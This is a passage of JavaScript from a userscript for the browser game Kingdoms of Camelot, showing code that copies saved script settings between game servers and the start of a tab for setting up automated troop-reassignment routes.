                            msg += "Crest Options, ";
                            break;
                        case 'train':
                            msg += "Train Options, ";
                            break;
                        case 'reassign':
                            msg += "Reassign Options, ";
                            break;
                        case 'build':
                            msg += "Build Options, ";
                            break;
                        case 'transport':
                            msg += "Transport Options, ";
                            break;
                        case 'raid':
                            msg += "Raid Options, ";
                            break;
                        case 'df':
                            msg += "DF Options, ";
                            break;
                        case 'log':
                            msg += "Logs, ";
                            break;
                        case 'chat':
                            msg += "Chat Options, ";
                            break;
                        case 'apothecary':
                            msg += "Apothecary Options, ";
                            break;
                        case 'Farm':
                            msg += "Farm Options, ";
                            break;
                        case 'thronesalvage':
                            msg += "Throne Salvage History, ";
                            break;
                        case 'thronehistory':
                            msg += "Throne Upgrade/Enhance History, ";
                            break;
                    }
                }
                new CdialogConfirm ('<SPAN class=boldRed>'+msg+'</span>', t.startexport, null, mainPop.getMainDiv);
            } else if (rslt.errMsg) {
                new CdialogCancelContinue('<SPAN class=boldRed>ERROR! <br />'+rslt.errMsg+'</span>', null, null, mainPop.getMainDiv);
            } else {
                alert('Something went wrong! Please contact the developer immediately');
            }
        } else {
            t.startexport();
        }
    },
    
    startexport : function(obj){
        var t = Tabs.Export;
        if(obj){
            if(obj.id == 'pbcancel'){
                return;
            }
        }
        var serverFrom = parseIntNan($('pbexport_from').value);
        var serverID = parseIntNan($('pbexport_to').value);
        if(serverID === 0 || serverFrom === 0){
            $('pbexport_status').style.background = '#FF0000';
            setTimeout(function(){$('pbexport_status').style.background = '';},1000);
            return {ok:false,errMsg:"Invalid destination server"};
        }
        if($('pbexport_overwrite').checked == false){
            if($('pbexport_general').checked){
                s = GM_getValue ('Options_'+serverFrom);
                if (s != null){
                    GM_setValue('Options_'+serverID, s);
                }
            }
            if($('pbexport_throne').checked){
                s = GM_getValue('ThroneOptions_' + serverFrom);
                if (s != null){
                    GM_setValue('ThroneOptions_'+serverID, s);
                }
            }
            if($('pbexport_crest').checked){
                s = GM_getValue ('CrestData_' + Seed.player['name'] + '_' +serverFrom);
                if (s != null){
                    GM_setValue('CrestData_'+ Seed.player['name'] +'_'+serverID, s);
                }
            }
            if($('pbexport_train').checked){
                s = GM_getValue ('TrainOptions_' + Seed.player['name'] + '_' +serverFrom);
                if (s != null){
                    GM_setValue('TrainOptions_'+ Seed.player['name'] +'_'+serverID, s);
                }
            }
            if($('pbexport_reassign').checked){
                s = GM_getValue('reassignRoutes_' + serverFrom);
                if (s != null){
                    GM_setValue('reassignRoutes_'+serverID, s);
                }
            }
            if($('pbexport_build').checked){
                s = GM_getValue('buildStates_' + serverFrom);
                if (s != null){
                    GM_setValue('buildStates_'+serverID, s);
                }
                /****
                for (var i = 0; i < Cities.cities.length; i++) {
                t["bQ_" + Cities.cities[i].id] = JSON2.parse(GM_getValue('bQ_' + getServerId() + '_' + Cities.cities[i].id, '[]'));
                if (typeof t["bQ_" + Cities.cities[i].id] == 'undefined' || (t["bQ_" + Cities.cities[i].id]) == "") {
                    t["bQ_" + Cities.cities[i].id] = [];
                }
            }
            *****/
            }
            if($('pbexport_transport').checked){
                s = GM_getValue('tradeRoutes_' + serverFrom);
                if (s != null){
                    GM_setValue('tradeRoutes_'+serverID, s);
                }
            }
            if($('pbexport_raid').checked){
                s = GM_getValue ('SavedRaids_'+serverFrom);
                if (s != null){
                    GM_setValue('SavedRaids_'+serverID, s);
                }
            }
            if($('pbexport_df').checked){
                s = GM_getValue ('AttackOptions_'+serverFrom);
                if (s != null){
                    GM_setValue('AttackOptions_'+serverID, s);
                }
            }
            if($('pbexport_log').checked){
                s = GM_getValue ('log_'+serverFrom);
                if (s != null){
                    GM_setValue('log_'+serverID, s);
                }
            }
            if($('pbexport_chat').checked){
                s = GM_getValue ('ChatOptions_'+serverFrom);
                if (s != null){
                    GM_setValue('ChatOptions_'+serverID, s);
                }
            }
            if($('pbexport_apothecary').checked){
                s = GM_getValue ('ApothecaryOptions_'+Seed.player['name']+'_'+serverFrom);
                if (s != null){
                    GM_setValue('ApothecaryOptions_'+ Seed.player['name'] +'_'+serverID, s);
                }
            }
            if($('pbexport_farm').checked){
                s = GM_getValue('FarmOptions_' + serverFrom);
                if (s != null){
                    GM_setValue('FarmOptions_'+serverID, s);
                }
            }
            if($('pbexport_thronesalvagehistory').checked){
                s = GM_getValue('ThroneSalvageHistory_' + serverFrom);
                if (s != null){
                    GM_setValue('ThroneSalvageHistory_'+serverID, s);
                }
            }
            if($('pbexport_thronehistory').checked){
                s = GM_getValue('ThroneHistory_' + serverFrom);
                if (s != null){
                    GM_setValue('ThroneHistory_'+serverID, s);
                }
            }
        }
        $('pbexport_status').style.background = '#99FF99';
        setTimeout(function(){$('pbexport_status').style.background = '';},1000);
        return {ok:true};
        
    },
    
    check : function (){
        var t = Tabs.Export;
        var flag = {ok:true};
        var serverID = parseIntNan($('pbexport_to').value);
        if(serverID === 0){
            return {ok:false,errMsg:"Invalid destination server"};
        }
        if($('pbexport_overwrite').checked == false){
            if($('pbexport_general').checked){
                s = GM_getValue ('Options_'+serverID);
                if (s != null){
                    flag.general = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_throne').checked){
                s = GM_getValue('ThroneOptions_' + serverID);
                if (s != null){
                    flag.throne = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_crest').checked){
                s = GM_getValue ('CrestData_' + Seed.player['name'] + '_' +serverID);
                if (s != null){
                    flag.crest = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_train').checked){
                s = GM_getValue ('TrainOptions_' + Seed.player['name'] + '_' +serverID);
                if (s != null){
                    flag.train = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_reassign').checked){
                s = GM_getValue('reassignRoutes_' + serverID);
                if (s != null){
                    flag.reassign = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_build').checked){
                s = GM_getValue('buildStates_' + serverID);
                if (s != null){
                    flag.build = true;
                    flag.ok = false;
                }
                /****
                for (var i = 0; i < Cities.cities.length; i++) {
                t["bQ_" + Cities.cities[i].id] = JSON2.parse(GM_getValue('bQ_' + getServerId() + '_' + Cities.cities[i].id, '[]'));
                if (typeof t["bQ_" + Cities.cities[i].id] == 'undefined' || (t["bQ_" + Cities.cities[i].id]) == "") {
                    t["bQ_" + Cities.cities[i].id] = [];
                }
            }
            *****/
            }
            if($('pbexport_transport').checked){
                s = GM_getValue('tradeRoutes_' + serverID);
                if (s != null){
                    flag.transport = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_raid').checked){
                s = GM_getValue ('SavedRaids_'+serverID);
                if (s != null){
                    flag.raid = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_df').checked){
                s = GM_getValue ('AttackOptions_'+serverID);
                if (s != null){
                    flag.df = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_log').checked){
                s = GM_getValue ('log_'+serverID);
                if (s != null){
                    flag.log = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_chat').checked){
                s = GM_getValue ('ChatOptions_'+serverID);
                if (s != null){
                    flag.chat = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_apothecary').checked){
                s = GM_getValue ('ApothecaryOptions_'+Seed.player['name']+'_'+serverID);
                if (s != null){
                    flag.apothecary = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_farm').checked){
                s = GM_getValue('FarmOptions_' + serverID);
                if (s != null){
                    flag.farm = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_thronesalvagehistory').checked){
                s = GM_getValue('ThroneSalvageHistory_' + serverID);
                if (s != null){
                    flag.thronesalvage = true;
                    flag.ok = false;
                }
            }
            if($('pbexport_thronehistory').checked){
                s = GM_getValue('ThroneHistory_' + serverID);
                if (s != null){
                    flag.thronehistory = true;
                    flag.ok = false;
                }
            }
        }
        if(flag.ok){
            return {ok:true};
        } else {
            return {ok:false,err:flag};
        }
    },
    
    show: function (){
    
    },
    
    hide : function (){
    
    }
}

/****************************  Reassign Tab  *******************************/

var troops = {	1:'SupplyTroop',
				2:'Militiaman',
				3:'Scout',
				4:'Pikeman',
				5:'Swordsman',
				6:'Archer',
				7:'Cavalry',
				8:'HeavyCavalry',
				9:'SupplyWagon',
				10:'Ballista',
				11:'BatteringRam',
				12:'Catapult',
				13:'BloodThorn',
				14:'Executioner',
				15:'SiegeTower' ,
				16:'FlameArcher' ,
				17:'Hussar' ,
				18:'Halberdier' ,
				21:'Onager' ,
				22:'Saboteur' ,
				23:'Sorcerer' ,
				24:'Stealer' ,
			};  
			 
Tabs.Reassign = {
	tabOrder: 30,
	tabLabel: unsafeWindow.g_js_strings.commonstr.reassign,
	myDiv: null,
	timer: null,
	reassignState: [],
	lRE: [],
	reassignRoutes: [],
	rallypointlevel:null,
	count:0,
	check:false,
	processing:false,

	init: function(div){
		var t = Tabs.Reassign;
		t.myDiv = div;
		t.reassignState = {
			running: false,
		};
		if(Options.reassgnbtns) AddSubTabLink('Reassign',t.toggleReassignState, 'ReasignToggleTab');
		t.readReassignState();
		t.readReassignRoutes();
		t.e_reassignRoutes();

		var m = '<DIV id=pbReMainDivF class=pbStat>'+translate("AUTOMATED REASSIGN FUNCTION")+'</div><TABLE id=pbtraderfunctions width=100% height=0% class=pbTab><TR align="center">';
		if (t.reassignState.running == false) {
			m += '<TD><INPUT id=pbReassignState type=submit value="Reassign = OFF"></td>';
			if (document.getElementById('ReasignToggleTab')) document.getElementById('ReasignToggleTab').innerHTML = '<span style="color: #CCC">Reassign: Off</span>';
		}
		else {
			m += '<TD><INPUT id=pbReassignState type=submit value="Reassign = ON"></td>';
			if (document.getElementById('ReasignToggleTab')) document.getElementById('ReasignToggleTab').innerHTML = '<span style="color: #FFFF00">Reassign: On</span>';
		}
		m += '<TD>'+translate("Check reassign every:")+' <INPUT id=pbreassigninterval type=text size=2 value="'+Options.reassigninterval+'"\> '+translate("minutes")+'</td>';
		m += '<TD><INPUT id=pbReassShowRoutes type=submit value="Show Routes"></td>';
		m += '</tr></table></div>';
		m += '<DIV id=pbReassignDivD class=pbStat>'+translate("ADD REASSIGN ROUTE")+'</div>';

		m += '<TABLE id=pbaddreasignroute width=95% height=0% class=pbTab><TR align="left">';
		m += '<TD width=20px>'+translate("From City:")+'</td> <TD width=310px><DIV style="margin-bottom:10px;"><span id=ptassigncity></span></div></td></tr>';

		m += '<TR align="left">';
		m += '<TD width=20px>'+translate("To City:")+'</td> <TD width=310px><DIV style="margin-bottom:10px;"><span id=ptassigncityTo></span></div></td>';
      
		m += '<TR align="left">';
		m += '<TD colspan=2><INPUT id=raselectall type=checkbox unchecked=true\> '+translate("Select/Unselect ALL")+'</TD>';
		m += '<TD><INPUT id=autofilloff type=checkbox unchecked=true\> '+translate("Lock troop values")+'</TD>';
		m += '<TD><INPUT id=zeroisetroops type=button value=" '+translate("Zeroise troop values")+'"\></TD>';
		m += '</TR></table><DIV style="margin-top:10px;margin-bottom:5px;">'+translate("Fill in the number of troops you want to KEEP in a city:")+'</div>';

		m += '<TABLE id=pbaddreasignroute width=100% height=0% class=pbTab><TR align="center">';

		m += '<TR><TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_1_50.jpg?6545"></td>';
		m += '<TD>'+translate("Supply Troop")+'</td>'
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_2_50.jpg?6545"></td>'
		m += '<TD>'+translate("Militiaman")+'</td>'
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_3_50.jpg?6545"></td>'
		m += '<TD>'+translate("Scout")+'</td>'
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_4_50.jpg?6545"></td>'
		m += '<TD>'+translate("Pikeman")+'</td></tr>'

		m += '<TR><TD><INPUT id=pbSupplyTroop type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetSupplyTroop disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbMilitiaman type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetMilitiaman disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbScout type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetScout disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbPikeman type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetPikeman disabled=true type=text size=10 maxlength=10 value="0"\></td></tr>';
      
		m += '<TR><TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_5_50.jpg?6545"></td>';
		m += '<TD>'+translate("Swordsman")+'</td>'
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_6_50.jpg?6545"></td>'
		m += '<TD>'+translate("Archer")+'</td>'
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_7_50.jpg?6545"></td>'
		m += '<TD>'+translate("Cavalry")+'</td>'
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_8_50.jpg?6545"></td>'
		m += '<TD>'+translate("Heavy Cavalry")+'</td></tr>'
      
		m += '<TR><TD><INPUT id=pbSwordsman type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetSwordsman disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbArcher type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetArcher disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbCavalry type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetCavalry disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbHeavyCavalry type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetHeavyCavalry disabled=true type=text size=10 maxlength=10 value="0"\></td></tr>';
      
		m += '<TR><TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_9_50.jpg?6545"></td>';
		m += '<TD>'+translate("Supply Wagon")+'</td>'
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_10_50.jpg?6545"></td>'
		m += '<TD>'+translate("Ballista")+'</td>'
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_11_50.jpg?6545"></td>'
		m += '<TD>'+translate("Battering Ram")+'</td>'
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_12_50.jpg?6545"></td>'
		m += '<TD>'+translate("Catapult")+'</td></tr>'
      
		m += '<TR><TD><INPUT id=pbSupplyWagon type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetSupplyWagon disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbBallista type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetBallista disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbBatteringRam type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetBatteringRam disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbCatapult type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetCatapult disabled=true type=text size=10 maxlength=10 value="0"\></td></tr>';
      
		m += '<TR><TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_13_50.jpg?6545"></td>';
		m += '<TD>'+translate("BloodThorn")+'</td>';
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_14_50.jpg?6545"></td>';
		m += '<TD>'+translate("Executioner")+'</td>';
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_15_50.jpg?6545?6545"></td>';
		m += '<TD>'+translate("Siege Tower")+'</td>';
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_16_50.jpg?6545?6545"></td>';
		m += '<TD>'+translate("Flame Archer")+'</td></tr>';

		m += '<TR><TD><INPUT id=pbBloodThorn type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetBloodThorn disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbExecutioner type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetExecutioner disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbSiegeTower type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetSiegeTower disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbFlameArcher type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetFlameArcher disabled=true type=text size=10 maxlength=10 value="0"\></td></tr>';
   
		m += '<TR><TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_17_50.jpg?6545?6545"></td>';
		m += '<TD>'+translate("Hussar")+'</td>';
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_18_50.jpg?6545"></td>';
		m += '<TD>'+translate("Halberdier")+'</td>';
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_21_50.jpg?6545?6545"></td>';
		m += '<TD>'+translate("Heavy Onager")+'</td>';
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_22_50.jpg?6545?6545"></td>';
		m += '<TD>'+translate("Saboteur")+'</td></tr>';
	  
		m += '<TR><TD><INPUT id=pbHussar type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetHussar disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbHalberdier type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetHalberdier disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbOnager type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetOnager disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbSaboteur type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetSaboteur disabled=true type=text size=10 maxlength=10 value="0"\></td></tr>';
      
		m += '<TR><TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_23_50.jpg?6545?6545"></td>';
		m += '<TD>'+translate("Shield Sorcerer")+'</td>';
		m += '<TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/unit_24_50.jpg?6545"></td>';
		m += '<TD>'+translate("Soul Stealer")+'</td></tr>';

		m += '<TR><TD><INPUT id=pbSorcerer type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetSorcerer disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		m += '<TD><INPUT id=pbStealer type=checkbox unchecked=true\>';
		m += '<INPUT id=pbtargetStealer disabled=true type=text size=10 maxlength=10 value="0"\></td>';
		
		m+='</table>';
      	m += '<DIV style="text-align:center; margin-top:15px"><INPUT id=pbSaveRouteReassign type=submit value="'+translate("Add Reassign Route")+'"></div>';
      
		t.myDiv.innerHTML = m;
      
		t.tcp = new CdispCityPicker ('ptreassign', document.getElementById('ptassigncity'), true, null, 0);
		t.tcpto = new CdispCityPicker ('ptreassignTo', document.getElementById('ptassigncityTo'), true);
		for (var k in troops){
			document.getElementById('pbtarget'+troops[k]).value = parseIntNan(Seed.units['city' + t.tcp.city.id]['unt'+k]);
		}

		document.getElementById('ptassigncity').addEventListener('click', function(){
			if (document.getElementById('autofilloff').checked == false)
				for(var k in troops)
					document.getElementById('pbtarget'+troops[k]).value = parseIntNan(Seed.units['city' + t.tcp.city.id]['unt'+k]);
		}, false);
      
		document.getElementById('pbReassignState').addEventListener('click', function(){
			t.toggleReassignState(this);
		}, false);
		document.getElementById('pbSaveRouteReassign').addEventListener('click', function(){
			t.addReassignRoute();
		}, false);
		document.getElementById('pbReassShowRoutes').addEventListener('click', function(){
			t.showReassignRoutes();
		}, false);
		document.getElementById('zeroisetroops').addEventListener('click', function(){
			for(var k in troops)
				document.getElementById('pbtarget'+troops[k]).value = 0;
		}, false);
		document.getElementById('raselectall').addEventListener('click', function(){
			for(var k in troops) {
				document.getElementById('pb'+troops[k]).checked = document.getElementById('raselectall').checked;
				document.getElementById('pbtarget'+troops[k]).disabled = (!document.getElementById('raselectall').checked);	
			}	
		}, false);
		document.getElementById('pbreassigninterval').addEventListener('keyup', function(){
			if (isNaN(document.getElementById('pbreassigninterval').value)){ document.getElementById('pbreassigninterval').value=0 ;}
			Options.reassigninterval = document.getElementById('pbreassigninterval').value;
			saveOptions();
		}, false);

		for (var k in troops){
			t.addListeners(troops[k]);
		}
     
		window.addEventListener('unload', t.onUnload, false);
	},

	addListeners : function(Troop) {
		var T1 = 'pbtarget'+Troop;
		var T2 = 'pb'+Troop;
		document.getElementById(T1).addEventListener('keyup', function(){ if (isNaN(document.getElementById(T1).value)) document.getElementById(T1).value=0; }, false);
		document.getElementById(T2).addEventListener('click', function(){ if (document.getElementById(T2).checked==false) { document.getElementById(T1).disabled = true; } else { document.getElementById(T1).disabled = false;	} },false);
	},
    
	getRallypoint: function(cityId){
		var t = Tabs.Reassign;
		for (var o in Seed.buildings[cityId]){
			var buildingType = parseInt(Seed.buildings[cityId][o][0]);
			var buildingLevel = parseInt(Seed.buildings[cityId][o][1]);
			if (buildingType == 12) t.rallypointlevel=parseInt(buildingLevel);
		}  
	},

	e_reassignRoutes: function(){
		var t = Tabs.Reassign;
		var now = new Date();
		if (t.reassignState.running && !t.processing) {
			var now = new Date().getTime()/1000.0;
			now = now.toFixed(0);
			var last = Options.lastreassign;
			if ( now > (parseInt(last) + (Options.reassigninterval*60))){
				actionLog('Checking for troops to reassign');
				t.checkdoReassign();
			}
		}
		setTimeout(function(){ t.e_reassignRoutes();}, 3000); // loop every 3 seconds. Actual time is controlled by Options.lastreassign and Options reassigninterval...
    },
        
	delReassignRoutes: function() {
		var t = Tabs.Reassign;
		t.reassignRoutes= [];
	},

	checkcoords : function (obj){
		var t = Tabs.Reassign;
		if(obj.id == 'pbok'){
			t.check = true;
			t.addReassignRoute();
		}
		return;            
	},
    
	addReassignRoute: function () {
		var t = Tabs.Reassign;
		if(t.tcpto.city == null){
			new CdialogCancelContinue('<SPAN class=boldRed>'+translate("No destination selected!")+'</span>', null, null, mainPop.getMainDiv);
			return;
		}
		if(t.tcp.city.id == t.tcpto.city.id){
			new CdialogCancelContinue('<SPAN class=boldRed>'+translate("Can\'t reassign to same city!")+'</span>', null, null, mainPop.getMainDiv);
			return;
		}
		if ((t.tcpto.city.x == 0 && t.tcpto.city.y == 0)&& !t.check) {
			new CdialogConfirm ('<SPAN class=boldRed>'+translate("You are about to set a route to location 0,0!")+'</span>', t.checkcoords, unsafeWindow.modal_attack_check, mainPop.getMainDiv);
			return;
		}
		t.check = false;
        
		var lRE = t.reassignRoutes;
		lRE.push({
			city:				t.tcp.city.id,
			target_x:			t.tcpto.city.x,
			target_y:			t.tcpto.city.y,
			target_city:		t.tcpto.city.id,
			SendSupplyTroop:	document.getElementById('pbSupplyTroop').checked,
			SupplyTroop:		document.getElementById('pbtargetSupplyTroop').value,
			SendMilitiaman:		document.getElementById('pbMilitiaman').checked,
			Militiaman:			document.getElementById('pbtargetMilitiaman').value,
			SendScout:			document.getElementById('pbScout').checked,
			Scout:				document.getElementById('pbtargetScout').value,
			SendPikeman:		document.getElementById('pbPikeman').checked,
			Pikeman:			document.getElementById('pbtargetPikeman').value,
			SendSwordsman:		document.getElementById('pbSwordsman').checked,
			Swordsman:			document.getElementById('pbtargetSwordsman').value,
			SendArcher:			document.getElementById('pbArcher').checked,
			Archer:				document.getElementById('pbtargetArcher').value,
			SendCavalry:		document.getElementById('pbCavalry').checked,
			Cavalry:			document.getElementById('pbtargetCavalry').value,
			SendHeavyCavalry:	document.getElementById('pbHeavyCavalry').checked,
			HeavyCavalry:		document.getElementById('pbtargetHeavyCavalry').value,
			SendSupplyWagon:	document.getElementById('pbSupplyWagon').checked,
			SupplyWagon:		document.getElementById('pbtargetSupplyWagon').value,
			SendBallista:		document.getElementById('pbBallista').checked,
			Ballista:			document.getElementById('pbtargetBallista').value,
			SendBatteringRam:	document.getElementById('pbBatteringRam').checked,
			BatteringRam:		document.getElementById('pbtargetBatteringRam').value,
			SendCatapult:		document.getElementById('pbCatapult').checked,
			Catapult:			document.getElementById('pbtargetCatapult').value,
			SendBloodThorn:		document.getElementById('pbBloodThorn').checked,
			BloodThorn:			document.getElementById('pbtargetBloodThorn').value,
			SendExecutioner:	document.getElementById('pbExecutioner').checked,
			Executioner:		document.getElementById('pbtargetExecutioner').value,
			SendSiegeTower:		document.getElementById('pbSiegeTower').checked,
			SiegeTower:			document.getElementById('pbtargetSiegeTower').value,
			SendFlameArcher:	document.getElementById('pbFlameArcher').checked,
			FlameArcher:		document.getElementById('pbtargetFlameArcher').value,
			SendHussar:			document.getElementById('pbHussar').checked,
			Hussar:				document.getElementById('pbtargetHussar').value,
			SendHalberdier:		document.getElementById('pbHalberdier').checked,
			Halberdier:			document.getElementById('pbtargetHalberdier').value,
			SendOnager:			document.getElementById('pbOnager').checked,
			Onager:				document.getElementById('pbtargetOnager').value,
			SendSaboteur:		document.getElementById('pbSaboteur').checked,
			Saboteur:			document.getElementById('pbtargetSaboteur').value,
			SendSorcerer:		document.getElementById('pbSorcerer').checked,
			Sorcerer:			document.getElementById('pbtargetSorcerer').value,
			SendStealer:		document.getElementById('pbStealer').checked,
			Stealer:			document.getElementById('pbtargetStealer').value,
		});
		document.getElementById('pbReassignDivD').style.background ='#99FF99';
		setTimeout(function(){ (document.getElementById('pbReassignDivD').style.background =''); }, 1000);
	},
	
	showReassignRoutes: function () {
		var t = Tabs.Reassign;
		var popReassignRoutes = null;
		t.popReassignRoutes = new pbPopup('pbShowTrade', 0, 0, 1100, 485, true, function() {clearTimeout (1000);});
		var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto; max-width:1100px; width:1100px; overflow-x:scroll"><TABLE align=center cellpadding=1 cellspacing=1 width=100% class="pbShowReassignRoutes" id="pbRoutesQueue">';       
		t.popReassignRoutes.getMainDiv().innerHTML = '</table></div>' + m;
		t.popReassignRoutes.getTopDiv().innerHTML = '<TD><CENTER><B>'+translate("Reassign routes")+'</center></td>';
		t.paintReassignRoutes();
		t._addTabHeader();
		t.popReassignRoutes.show(true);
	},
    
	paintReassignRoutes: function(){
		var t = Tabs.Reassign;
		var r = t.reassignRoutes;
		var cityname;
		for (var i = (r.length-1); i>=0; i--) {
			for (var y=0; y< Seed.cities.length;y++) {
				if ( parseInt(Seed.cities[y][0]) == r[i].city) var cityname = Seed.cities[y][1];
			}    
			var queueId = i;
			t._addTab(queueId,cityname, r[i].target_x, r[i].target_y, r[i].target_city, r[i].SendSupplyTroop,r[i].SupplyTroop, r[i].SendMilitiaman, r[i].Militiaman, r[i].SendScout, r[i].Scout, r[i].SendPikeman, r[i].Pikeman, r[i].SendSwordsman, r[i].Swordsman, r[i].SendArcher, r[i].Archer, r[i].SendCavalry, r[i].Cavalry, r[i].SendHeavyCavalry, r[i].HeavyCavalry, r[i].SendSupplyWagon, r[i].SupplyWagon, r[i].SendBallista, r[i].Ballista, r[i].SendBatteringRam, r[i].BatteringRam, r[i].SendCatapult, r[i].Catapult, r[i].SendBloodThorn, r[i].BloodThorn, r[i].SendExecutioner, r[i].Executioner, r[i].SendSiegeTower, r[i].SiegeTower, r[i].SendFlameArcher, r[i].FlameArcher, r[i].SendHussar, r[i].Hussar, r[i].SendHalberdier, r[i].Halberdier, r[i].SendOnager, r[i].Onager, r[i].SendSaboteur, r[i].Saboteur, r[i].SendSorcerer, r[i].Sorcerer, r[i].SendStealer, r[i].Stealer);
		}
	},
     
	_addTab: function(queueId,cityname,target_x,target_y,target_city,SendSupplyTroop,SupplyTroop,SendMilitiaman,Militiaman,SendScout,Scout,SendPikeman,Pikeman,SendSwordsman,Swordsman,SendArcher,Archer,SendCavalry,Cavalry,SendHeavyCavalry,HeavyCavalry,SendSupplyWagon,SupplyWagon,SendBallista,Ballista,SendBatteringRam,BatteringRam,SendCatapult,Catapult,SendBloodThorn,BloodThorn,SendExecutioner,Executioner,SendSiegeTower,SiegeTower,SendFlameArcher,FlameArcher,SendHussar,Hussar,SendHalberdier,Halberdier,SendOnager,Onager,SendSaboteur,Saboteur,SendSorcerer,Sorcerer,SendStealer,Stealer){
		var t = Tabs.Reassign;
		var To = target_x+','+target_y;
		for (var y=0; y< Seed.cities.length;y++) {
			if ( parseInt(Seed.cities[y][0]) == parseInt(target_city)){
				To = Seed.cities[y][1];
				break;
			}
		}
		var row = document.getElementById('pbRoutesQueue').insertRow(0);
		row.vAlign = 'top';
		row.insertCell(0).innerHTML = cityname;
		row.insertCell(1).innerHTML = To;

		row.insertCell(2).innerHTML = '<input type=checkbox disabled '+(SendSupplyTroop ? 'CHECKED ' : '')+'><br>'+(SendSupplyTroop ?addCommas(SupplyTroop): '');
